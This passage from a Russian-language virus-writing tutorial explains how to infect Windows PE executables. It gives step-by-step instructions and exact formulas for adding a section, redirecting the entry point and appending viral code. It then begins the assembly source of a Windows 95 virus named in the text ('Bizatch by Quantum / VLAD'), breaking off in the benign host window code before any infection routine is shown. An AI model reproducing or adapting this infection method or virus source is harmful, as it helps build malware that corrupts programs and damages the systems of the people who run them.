push offset lpszProc
push dword ptr [hModule]
call GetProcAddress
Используя 32-битный отладчик, можно оттрассировать вызов и найти вызов KERNEL32 для каждого конкретного случая. Это позволит получить номер функции и обойтись без необходимой для вызова таблицы импортируемых имен.
Заражение файлов формата PE-executable
Определение положения начала PE-заголовка происходит аналогично поиску начала NE-заголовка. Если смещение таблицы настройки адресов (поле 18h) в заголовке EXE-файла 40h или больше, то по смещению 3Ch находится смещение PE-executable заголовка. Сигнатура PE-executable ("PE") находится, как и у NE-executable EXE-файла, в начале нового заголовка.
Внутри PE-заголовка находится таблица объектов. Ее формат наиболее важен по сравнению с прочими. Для добавления вирусного кода в носитель и перехвата вирусом управления необходимо добавить элемент в таблицу объектов.
Основные действия заражения PE-executable файла:
1. Найти смещение заголовка PE-executable в файле.
2. Считать достаточное количество информации из заголовка для вычисления его полного размера.
3. Считать весь PE-заголовок и таблицу объектов.
4. Добавить новый объект в таблицу объектов.
5. Установить точку входа RVA на новый объект.
6. Дописать вирус к файлу по вычисленному физическому смещению.
7. Записать измененный PE-заголовок в файл.
Для определения расположения таблицы объектов следует воспользоваться значением переменной "HeaderSize" (не путать с "NT headersize"), которая содержит совместный размер заголовков DOS, PE и таблицы объектов.
Для чтения таблицы объектов необходимо считать HeaderSize байт от начала файла.
Таблица объектов расположена непосредственно за NT-заголовком. Значение "NTheadersize" показывает количество байт, следующих за полем "flags". Итак, для определения смещения таблицы объектов нужно получить NTheaderSize и добавить размер поля флагов (24).
Добавление объекта: получив количество объектов, умножить его на 40 (размер элемента таблицы объектов). Таким образом определяется смещение, по которому будет расположен вирус.
Данные для элемента таблицы объектов должны быть вычислены с использованием информации в предыдущем элементе (элементе носителя).
RVA=((prev RVA+prev Virtual Size)/OBJ Alignment+1)
*OBJ Alignment
Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1)
*OBJ Alignment
Physical Size=(size of virus/File Alignment+1)*File Alignment
Physical Offset=prev Physical Offset+prev Physical Size
Object Flags=db 40h,0,0,C0h
Entrypoint RVA=RVA
Теперь необходимо увеличить на единицу поле "количество объектов" и записать код вируса по вычисленному "физическому смещению" в размере "физического размера" байт.
Пример вируса под Windows 95
.386
locals
jumps
.model flat,STDCALL
include win32.inc ;некоторые 32−битные константы и структуры
L equ <LARGE>
;Определим внешние функции, к которым будет подключаться вирус
extrn BeginPaint:PROC
extrn CreateWindowExA:PROC
extrn DefWindowProcA:PROC
extrn DispatchMessageA:PROC
extrn EndPaint:PROC
extrn ExitProcess:PROC
extrn FindWindowA:PROC
extrn GetMessageA:PROC
extrn GetModuleHandleA:PROC
extrn GetStockObject:PROC
extrn InvalidateRect:PROC
extrn LoadCursorA:PROC
extrn LoadIconA:PROC
extrn MessageBeep:PROC
extrn PostQuitMessage:PROC
extrn RegisterClassA:PROC
extrn ShowWindow:PROC
extrn SetWindowPos:PROC
extrn TextOutA:PROC
extrn TranslateMessage:PROC
extrn UpdateWindow:PROC
;Для поддержки Unicode Win32 интерпретирует некоторые функции
;для ANSI или расширенного набора символов.
;В качестве примера рассмотрим ANSI
CreateWindowEx equ <CreateWindowExA>
DefWindowProc equ <DefWindowProcA>
DispatchMessage equ <DispatchMessageA>
FindWindow equ <FindWindowA>
GetMessage equ <GetMessageA>
GetModuleHandle equ <GetModuleHandleA>
LoadCursor equ <LoadCursorA>
LoadIcon equ <LoadIconA>
MessageBox equ <MessageBoxA>
RegisterClass equ <RegisterClassA>
TextOut equ <TextOutA>
.data
newhwnd dd 0
lppaint PAINTSTRUCT <?>
msg MSGSTRUCT <?>
wc WNDCLASS <?>
mbx_count dd 0
hInst dd 0
szTitleName db "Bizatch by Quantum / VLAD activated"
zero db 0
szAlternate db "more than once",0
szClassName db "ASMCLASS32",0
;Сообщение, выводимое в окне
szPaint db "Left Button pressed:"
s_num db "00000000h times.",0
;Размер сообщения
MSG_L EQU ($−offset szPaint)−1
.code
;Сюда обычно передается управление от загрузчика.
start:
;Получим HMODULE
push L 0
call GetModuleHandle
mov [hInst],eax
push L 0
push offset szClassName
call FindWindow
or eax,eax
jz reg_class
;Пространство для модификации строки заголовка
mov [zero]," "
reg_class:
;Инициализируем структуру WndClass
mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS
mov [wc.clsLpfnWndProc],offset WndProc
mov [wc.clsCbClsExtra],0
mov [wc.clsCbWndExtra],0
mov eax,[hInst]
mov [wc.clsHInstance], eax
;Загружаем значок
push L IDI_APPLICATION
push L 0
call LoadIcon
mov [wc.clsHIcon], eax
;Загружаем курсор
push L IDC_ARROW
push L 0
call LoadCursor
mov [wc.clsHCursor], eax
;Инициализируем оставшиеся поля структуры WndClass
mov [wc.clsHbrBackground],COLOR_WINDOW+1
mov dword ptr [wc.clsLpszMenuName],0
mov dword ptr [wc.clsLpszClassName],offset szClassName
;Регистрируем класс окна
push offset wc
call RegisterClass
;Создаем окно
push L 0 ;lpParam
push [hInst] ;hInstance
push L 0 ;Меню
push L 0 ;hwnd родительского
окна
push L CW_USEDEFAULT ;Высота
push L CW_USEDEFAULT ;Длина
push L CW_USEDEFAULT ;Y
push L CW_USEDEFAULT ;X
push L WS_OVERLAPPEDWINDOW ;Style
push offset szTitleName ;Title Style
push offset szClassName ;Class name
push L 0 ;extra style
call CreateWindowEx
;Сохраняем HWND
mov [newhwnd], eax
;Отображаем окно на экране
push L SW_SHOWNORMAL
push [newhwnd]
call ShowWindow
;Обновляем содержимое окна
push [newhwnd]
call UpdateWindow
;Очередь сообщений
msg_loop:
;Прочитаем следующее сообщение из очереди
push L 0
push L 0
push L 0
push offset msg
call GetMessage
;Если функция GetMessage вернула нулевое значение, то завершаем
;обработку сообщений и выходим из процесса
cmp ax,0
je end_loop
;Преобразуем виртуальные коды клавиш в сообщения клавиатуры
push offset msg
call TranslateMessage
;Передаем это сообщение назад в Windows
push offset msg
call DispatchMessage
;Переходим к следующему сообщению
jmp msg_loop
;Выход из процесса
end_loop:
push [msg.msWPARAM]
call ExitProcess
;Обработка сообщений окна. Win32 требует сохранения регистров
;EBX, EDI, ESI. Запишем эти регистры после "uses" в строке "proc".
;Это позволит Ассемблеру сохранить их
WndProc proc uses ebx edi esi, hwnd:DWORD, wmsg:DWORD, wparam:
DWORD, lparam:DWORD
LOCAL theDC:DWORD
;Проверим, какое сообщение получили, и перейдем к обработке
cmp [wmsg],WM_DESTROY
je wmdestroy
cmp [wmsg],WM_RBUTTONDOWN
je wmrbuttondown
cmp [wmsg],WM_SIZE
je wmsize
cmp [wmsg],WM_CREATE
je wmcreate
cmp [wmsg],WM_LBUTTONDOWN
je wmlbuttondown
cmp [wmsg],WM_PAINT
je wmpaint
cmp [wmsg],WM_GETMINMAXINFO
je wmgetminmaxinfo
;Данная программа не обрабатывает это сообщение.
;Передадим его Windows,
;чтобы оно было обработано по умолчанию
jmp defwndproc
;Сообщение WM_PAINT (перерисовать содержимое окна)
wmpaint:
;Подготовим окно для перерисовки
push offset lppaint
push [hwnd]
call BeginPaint
mov [theDC], eax
;Переведем в ASCII−формат значение mbx_count, которое
;показывает, сколько раз была нажата левая кнопка мыши
mov eax,[mbx_count]
mov edi, offset s_num
call HexWrite32
;Вывод строки в окно
push L MSG_L ;Длина строки
push offset szPaint ;Строка
push L 5 ;Y
push L 5 ;X
push [theDC] ;DC
call TextOut
;Обозначим завершение перерисовки окна
push offset lppaint
push [hwnd]
call EndPaint
;Выходим из обработки сообщения
mov eax, 0
jmp finish
;Сообщение WM_CREATE (создание окна)
wmcreate:
;Выходим из обработки сообщения
mov eax, 0
jmp finish